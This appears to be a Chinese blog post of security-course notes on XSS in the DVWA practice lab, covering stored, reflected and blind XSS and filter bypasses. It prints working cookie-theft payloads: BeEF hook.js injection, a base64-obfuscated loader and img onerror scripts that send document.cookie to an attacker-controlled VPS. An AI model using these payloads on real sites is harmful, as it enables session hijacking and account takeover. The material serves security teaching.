XSS


IP签名

xss漏洞

原文:

201-A7-XSS(上) · Farmsec Open Source (fsec.io)

201-A8-XSS(下) · Farmsec Open Source (fsec.io)

1. 认识xss

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。 在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器。 由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。而此时,攻击者的目的就已经达到了。

XSS 分类: 1.反射型 2.存储型 3.DOM型

XSS (Stored)存储型攻击发生的具体情镜:

  • 黑客发现一个存在XSS漏洞的接口或页面,构造恶意代码(payload)后,将其插入到页面中使得所有浏览该页面的用户均受到安全威胁。

2. 存储型xss演示

首先我们进入到DVWA中将难度选择为LOW。

image-20220128194010987

之后我们进入XSS(Stored)中。在进行测试前我们可以先对提交点进行审查元素。 对着目标右键选择审查元素。

image-20220129170735862

接下来我们查看两个输入框的属性。 可以看到有输入长度的限制。其中 Name maxlength=10 Message maxlength=50。不难看出一个长度为10一个长度为50。

当然对于前端的长度限制我们是可以使用抓包工具去绕过。或者直接在本地修改html属性。如将maxlength改为100,这样前端的输入限制就可以轻松绕过了。

引申:在安全编码中,将安全的设置放置于用户端,虽然可以减轻服务器的工作量,但是如果服务端没有其他措施的话,则会很轻松的进行绕过。 我们首先尝试使用短 XSS payload 进行尝试。

payload : <script>alert(1)</script>

image-20220129171310653

成功弹窗,即证明此处存在xss漏洞。

image-20220130123746818

3. 使用beef盗取cookie

下面我们使用beef配合完成攻击。 这里我们将payload插入页面后,当用户浏览了这个页面,<script>标签就会远程执行我们的beef上面的恶意js代码从而盗取cookie。
启动BEEF方法如下: 第一步,点击左侧终端后输入 beef-xss 第二步,等待打开Web界面,输入帐户密码。密码及账户均为 beef

开启正式的攻击测试: 插入的payload为: <script src="http://192.168.0.150:3000/hook.js"></script> 其中172.16.11.2为beef工具所在的主机IP,根据实际情况给予修改即可。另Linux查看本机IP地址的命令为:ifconfig 之后我们先刷新一下页面,确保我们插入的代码执行。 再进入之前打开的BEEF界面,查询我们收到的cookie: 进入BEEF后我们先点击 Command Browser -> Commands -> 在Searche框输入cookie并回车 -> 进入新的页面后点击右下角Execute->之后点击中间出现的记录 此时我们就可以在右侧看到我们收到的cookie了。 完成全部操作后我们将得到一个格式为: php=xxxxxxxxxx;security=low样式的cookie。

4.漏洞源码分析

在DVWA点击ViewSource查看源码

image-20220130133611618

首先if( isset( $_POST[ 'btnSign' ] ) ),这里是对表单提交的的name属性值为btnSign的值进行效验是否为空值,如果为空值则返回flase,不为空则继续进行下一步操作。 接下来我们可以看见trim函数,这个函数的主要作用就是去除其()内数据的两侧的空白字符或其他预定义字符。而这里处理的就是一post方式提交的name属性值为mtxMessage的数据,处理完后值赋给$message$name同理。 接下来是stripslashes函数,这个函数一般情况下是伴随着addslashes函数出现,作用是删除由 addslashes函数添加的反斜杠。这里就是将上面由addslashes函数处理$message,$name进行再处理,去掉了\,然后再重新赋值给自己。 接下来就是运用mysql_real_escape_string函数处理$name, mysql_real_escape_string函数会转义 SQL 语句中使用的字符串中的特殊字符。 这些字符包括:

  • \x00

  • \n

  • \r

  • \

  • \x1a
    接下来就是拼接sql语句,赋值给$query,为下面执行插入数据做准备 紧接着就是一个使用or的赋值判断句,mysql_query() 函数作用执行()内的 MySQL语句进行查询,die() 函数作用是输出()内的数据,并退出当前脚本。在这里也就是先用mysql_query() 函数先行$query里的MySQL语句,如果语句格式没有错误的情况下则执行成功,返回true给$result,反之执行失败,则用die函数输出mysql_error()函数所获取的MySQL 操作产生的文本错误信息,并且退出语句。 分析到这里可以看到,LOW级别的数据处理和过滤过程没有针对XSS做过考量。所以插入的最低级的xss语句就可以获得对应的结果。

5.dvwa的中级别

首先我们将DVWA的难度调整为MEDIUM。 这里我们可以看到我们之前插入代码弹出的提示框。为了避免干扰,建议进行如下操作: 1 点击页面Setup/Reset DB,然后选择新页面中的create/Reset Database 2 通过重置数据库可以清除掉我们之前留下的记录。

接下来我们尝试插入代码。 做过多次测试其中发现name框存在<script>标签大小写绕过。 使用payload:<SCriPt>alert('1')</SCriPt> 可以成功进行弹窗。

image-20220130134401175

image-20220130134420529

可以看到成功弹窗了,证明存在XSS,下面使用beef来配合攻击。

真实的窃取cookie: 首先插入payload:

<SCriPt> src="http://172.16.11.2:3000/hook.js"</SCriPt>

之后我们使用BEEF来盗取cookie。 步骤如之前一样,这里就不在赘述。这次大家可以注意到与上次不同cookie里面有一部分不同,等级从LOW变成了medium。 必须得到一个格式为php=xxxxxxxxxx;security=medium的cookie

View Source 查看源码:

之后我们使用BEEF来盗取cookie。 步骤如之前一样,这里就不在赘述。这次大家可以注意到与上次不同cookie里面有一部分不同,等级从LOW变成了medium。 必须得到一个格式为php=xxxxxxxxxx;security=medium的cookie

View Source 查看源码:

image-20220130134536497

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。 在这里就是过滤script这个字符串。 因为没有对script的大小写进行限制和识别,这里可以用大小写混合, 比如<ScRiPt>标签进行绕过。

不妨试试<scr<script>ipt>类似风格的测试。

6.dvwa的高级别

high级别的代码分析

image-20220130135207987

这里代码和medium整体上没有太大区别,就是多了一个正则表达式来配合preg_replace()函数对$name来进行过滤。 正则匹配的规则变化为/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i 可以看到匹配规则加上了/i 不区分大小写。(.*) 的作用是匹配任意数量的非回车的所有字符,所以在测试中也可以发现不管怎么构造payload,只要’’顺序’’出现\<script>都会被屏蔽,这里就输入一个进行尝试。 我们尝试payload: <>ScRiPt11111> ,可以看到同样会被过滤掉,这也说明script标签我们是无法通过大小写的方式绕过了。在防御方面正则表达式有着得天独厚的优势,所以经常被用于php安全编程。 在xss的常见绕过的方式中,使用格式类似 <scr<script>ipt>的payload往往会有意外的收获。但此次测试因为使用了(.*)的模式,则无法进行绕过。

由于对script的关键字进行了彻底的过滤,为此我们使用payload:<img src=x onerror=alert(1)> 即可成功构造弹窗。

image-20220130135410611

image-20220130135430200

更多XSS漏洞的payload将在后续课程中说明。

7.存储型xss思考

低级别中插入弹窗的payload 随后我们切换到high级别 我们会发现依旧弹窗:)

假如说我们在工作中,生产环境被攻击插入payload,而没有清除数据库,是否还会继续产生危害?

进阶的思考—-XSS盲打

盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,feedback啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打。 “xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。 通俗讲就是见到输入框就输入提前准备的 xss代码, 通常是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息 。

8. XSS反射型dvwa演示

low级别:<script>alert(1)</script>

image-20220130135834076

image-20220130135855908

medium级别: <ScRiPt>alert(1)</ScRiPt>

image-20220130135928871

high级别:<img src=x onerror="alert(1)">

image-20220130135757302

9.思考

思考:

XSS的存储型与反射型的差别在哪?

XSS最终攻击的是哪里?

如果存储型只能弹窗,是否构成伤害?

http://blog.csdn.net/tanzhen1991910/article/details/53085274

一 dvwa靶机高等级的方式

在dvwa的高等级当中,由于代码所使用的逻辑通过如下的代码过滤掉了所有基于script标签的可能性。

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); 

preg_replace       通过正则表达式替换文字内容
/i,               模式中的字符将同时匹配大小写字母。

所以当我们试图进行绕过的尝试输入<sc<script>ript>alert(1)</script> 后,留在网页中的内容同样只剩余alert(1)的内容。

image-20220831151900874

而通过扫描器进行漏洞检测,则可以得到相应的payload的攻击方式:

<img src=a onerror=alert(1)>

image-20220831152923931

所以通过攻击的演示,那么我们可以发现并不止于script的利用方式。

1 dvwa低级别:
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://192.168.0.231:3000/hook.js';>


2 dvwa低级别:
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vMTkyLjE2OC4wLjIzMTozMDAwL2hvb2suanMn'))>

3 dvwa低级别:
python3 -m http.server 8000


<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://192.168.0.231:3000/hook.js';>
<body>
    test
</body>

python3 -m http.server

通过文件上传浏览页面触发cookie窃取


</div><br /><li> <a href="http://book.fsec.io/" target="_blank">点我链接给你好看</a></li>

实验中,针对高级别的payload存在不完善地方。

</div><br /><li> <a href="http://book.fsec.io/" target="_blank">点我链接给你好看</a></li>

image-20220831180720861

image-20220831180739833

在vps上创建一个1.js的文件,python开启http服务.

1.js文件内容为

var img = document.createElement("img");
img.src='//192.168.1.118/?'+document.cookie; #(此处ip需换成自己vps的ip)
document.body.appendChild(img);
img.removeAttribute('onerror');

通过``svg`标签获取cookie

image-20220901153033212

返回vps上查看结果

已经返回cookie

image-20220901153111814

使用img标签获取cookie:

<img src=x onerror="this.src='//192.168.1.118/?'+document.cookie;this.removeAttribute('onerror');">

image-20220901153841592

返回到vps上查看结果:

image-20220901153907905

二 扩展的知识

我们可以用肉眼观察到一个直观的规律,XSS漏洞产生的位置往往在用户提交的文本被反馈在浏览器上的地方。

如下图:

image-20220831184107721

产生的原因在于,服务器信任了用户输入,而用户输入的文本在经过一定构造后会被当做代码执行。

这其实是注入类漏洞的本质,你也可以将XSS漏洞,即跨站脚本攻击理解为HTML或JavaScript代码注入。

在日后挖掘漏洞的过程中,也应该保持这种敏锐性,即如果你输入什么,浏览器就显示什么,则存在漏洞的可能。

1 HTML基础

了解一些有关于HTML相关的内容则很有必要。

<!DOCTYPE html> 声明为 HTML5 文档
<html> 元素是 HTML 页面的根元素
<head> 元素包含了文档的元(meta)数据,如 <meta charset="utf-8"> 定义网页编码格式为 utf-8。
<title> 元素描述了文档的标题
<body> 元素包含了可见的页面内容
<h1> 元素定义一个大标题
<p> 元素定义一个段落
        
"HTML 标签" 和 "HTML 元素" 通常都是描述同样的意思.
HTML 标签是由尖括号包围的关键词,比如 <html>
HTML 标签通常是成对出现的,比如 <b></b>
标签对中的第一个标签是开始标签,第二个标签是结束标签
开始和结束标签也被称为开放标签和闭合标签

常见的标签有:

HTML 标题

HTML 标题(Heading)是通过<h1> - <h6> 标签来定义的。

<h1>这是一个标题</h1>
<h2>这是一个标题</h2>
<h3>这是一个标题</h3>

2. <script> 标签

如需在 HTML 页面中插入 JavaScript,请使用 <script> 标签。

<script></script> 会告诉 JavaScript 在何处开始和结束。
<script></script> 之间的代码行包含了 JavaScript:

例1:alert用于弹框。

<script>
alert("农夫安全");
</script>

image-20220831185009151

image-20220831185014374

3. 外部 JavaScript 文件调用

也可以把脚本保存到外部文件中。外部文件通常包含被多个网页使用的代码。

外部 JavaScript 文件的文件扩展名是 .js。

如需使用外部文件,请在 <script> 标签的 “src” 属性中设置该 .js 文件:

我们在此前测试用的html文件所在目录下创建一个test目录,在其下创建一个1.js文件:

image-20220831185042509

内容为:

image-20220831185050522

接下来我们在代码中引用它,语法格式为<script src="xxx.js"></script>注意相对目录位置。

image-20220831185059879

浏览器打开效果如下:

image-20220831185108692

4. 事件

HTML 事件可以是浏览器或用户做的某些事情。我们此前用的XSS语句<img src=x onerror=alert(1)>就利用了事件。onerror代表在加载文档或图像时发生错误时执行后面的alert(弹框),而src指定的路径并不存在,则加载图片必会出错,后面的也就依次执行了。除了onerror以外,类似的事件还有很多。这些会在以后的XSS漏洞挖掘中发挥妙用。

鼠标事件

属性 描述
onclick 当用户点击某个对象时调用的事件句柄。
ondblclick 当用户双击某个对象时调用的事件句柄。
onmousemove 鼠标被移动。
onmouseover 鼠标移到某元素之上。
onmouseout 鼠标从某元素移开。
onmousedown 鼠标按钮被按下。
onmouseup 鼠标按键被松开。

键盘事件

属性 描述
onkeydown 某个键盘按键被按下。
onkeyup 某个键盘按键被松开。
onkeypress 某个键盘按键被按下并松开。

框架/对象(Frame/Object)事件

属性 描述
onabort 图像的加载被中断
onload 一张页面或一幅图像完成加载
onerror 在加载文档或图像时发生错误。
onpageshow 事件在用户访问页面时触发
onscroll 当文档被滚动时发生的事件
onresize 窗口或框架被重新调整大小。
onfocus 元素获取焦点时触发

剪贴板事件

属性 描述
oncopy 该事件在用户拷贝元素内容时触发
oncut 该事件在用户剪切元素内容时触发
onpaste 该事件在用户粘贴元素内容时触发

三 常用xss语句

1. xss的常用语句

测试XSS漏洞最基本的语句如下:

<script>alert(1)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.cookie)>
<svg onload=alert(document.cookie)>
<a href=javascript:alert(document.cookie)>

当然,许多程序对这些常见标签都做了过滤,然而我们在DVWA中也见识到了不合理、不彻底的过滤。

面对过滤有几种基本的思路。

1.避开过滤关键字,实现同样效果。

具体在XSS语句中,可以通过替换标签,替换元素内容来实现。对html和JavaScript了解越多,就越能找到可替换的代码。

2.通过某种混淆来实现绕过过滤。

如大小写绕过。

<ScRiPt> alert(1) </ScRiPt>

如编码绕过,如url编码:

%3c%53cript%3e alert(1) %3c%2f%53cript%3e

如双写绕过:

<scr<script>ipt>alert(1)</scr</script>ipt>

更多的可能性可阅读如下链接内容:

https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

2. 一种另类的思考方式

而正如同前文所探讨过的内容,xss的漏洞点在于让浏览器产生歧义,为此我们是不是可以换个角度去思考xss的存在:

无论是弹窗,还是窃取了cookie,亦或者在攻击浏览器插件,或又如同将dvwa的文本框变成了友链。
而实质都是将网站所输出html内容,通过我们所插入的内容,变成了另外的一种含义。

如果换成类似的思维方式,可以进入所打包的靶场主机的83端口。

原本的展示内容如下:

image-20220831190543874

在第一关中,我们发现可由用户传递的参数为name。

image-20220831190645654

那么我们通过html查看,发现test的内容出现在下面的内容中:

<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>

test字段为用户可控制,那么则可以把xss的任务演变成如下的任务:

修改test的内容,加入`<script>alert(1)</script>`的因素,原本的语法还不出现异常。
所以逆推出的payload如下:
test</h2><script>alert(1)</script><h2

四 xss平台的使用

在互联网有好心人搭建了公开的xss平台可以提供除beef-xss以外的解决方案。

下文的演示通过网址https://xss.pt进行

image-20220831183706900

我的项目–创建–项目名称–下一步–选择模块–下一步,待项目创建完成后即可使用。

image-20220831183820076


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录